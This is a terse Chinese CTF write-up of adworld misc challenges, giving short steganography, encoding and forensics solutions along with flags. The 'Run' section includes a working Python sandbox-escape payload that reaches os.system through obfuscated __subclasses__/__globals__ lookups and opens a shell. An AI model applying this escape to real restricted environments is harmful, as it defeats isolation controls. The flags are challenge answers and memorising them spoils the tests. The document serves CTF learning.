adworld_misc_7

[TOC]

Steganography

picture

做过了

Pixel-Princess

找公主。拿旗子。

ez题，binwalk分离bowser.jpg，分离出zip解压得到图片，里面有密码BaD_DR4G0N

明显是steghide，

1 2	sudo apt install steghide steghide extract -sf bowser.jpg -p "BaD_DR4G0N"

得到的新文件框框解压就行了

flag{You_F0unD_M3}

摩斯电码

格式为flag{xxxxxx}

flag有点大病真是

flag{THESECRETWDFLAGISMORESCODE1SFUN}

Unknown-format

感觉附件有问题。

https://ctftime.org/writeup/5384

ALEXCTF{Wh0_N33d5_K1nDl3_t0_3X7R4Ct_K1ND13_F1rMw4R3}

Make-similar

答辩

CTF{4BDF4498E4922B88642D4915C528DA8F}

picture3

flag提交形式为flag{XXXX}

很简单了，jpg后面藏zip，伪加密。

得到stego.txt是base64隐写

b2Q5dU==
aDk5Ni==
ZG8wOW==
ZzYxYh==
ZjU4NT==
aXBjNF==
Q3dTM2==
d1Y5c1==
dFA3WV==
ZDNQUP==
ejhBMT==
dUowaW==
OVQ2ZD==
aUM5ZU==
NnFFek==
ZGc0T/==
NGpWNE==
NVZpUW==
ejZDTm==
a1VEN5==
azNMUX==
TXlhNW==
bjZwWm==
Q2Q0b1==

puzzlesolver一把梭。

flag{Ba5e_64OFive}

refrain

狗shi

Hidden_secret

题目应该有点问题。不过还原zip还是能做到的。

unctf{cca1a567c3145b1801a4f3273342c622}

CoolCat

做不了，别看了

monopoly

/flag文件不存在。做不了

RCTF{you_are_a_multimillionaire_now}

CatPaw

https://www.cnblogs.com/WXjzc/p/17020205.html

看不太懂的样子，尤其是文件16666666

沙箱逃逸

Run

靶机有点毛病卡半天，服了

>>>a= ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['s'+'ys'].modules['o'+'s'].__getattribute__('sy'+'stem')
>>>a('/bin/sh')
ls
5c72a1d444cf3121a5d25f2db4147ebb
bin
cpython.py
cpython.pyc
sandbox.py
cat 5c72a1d444cf3121a5d25f2db4147ebb
flag{eee93c33d97aa55f785a7d10ba4ae3ce}

HardWare

the_golden_gate

https://github.com/ctfs/write-ups-2014/tree/master/seccon-ctf-2014/the-golden-gate

hardware题目…

SECCON{Hlvd0toiXgloBhTM}

流量分析

sql注入

NetA一把梭

flag{c2bbf9cecdaf656cf524d014c5bf046c}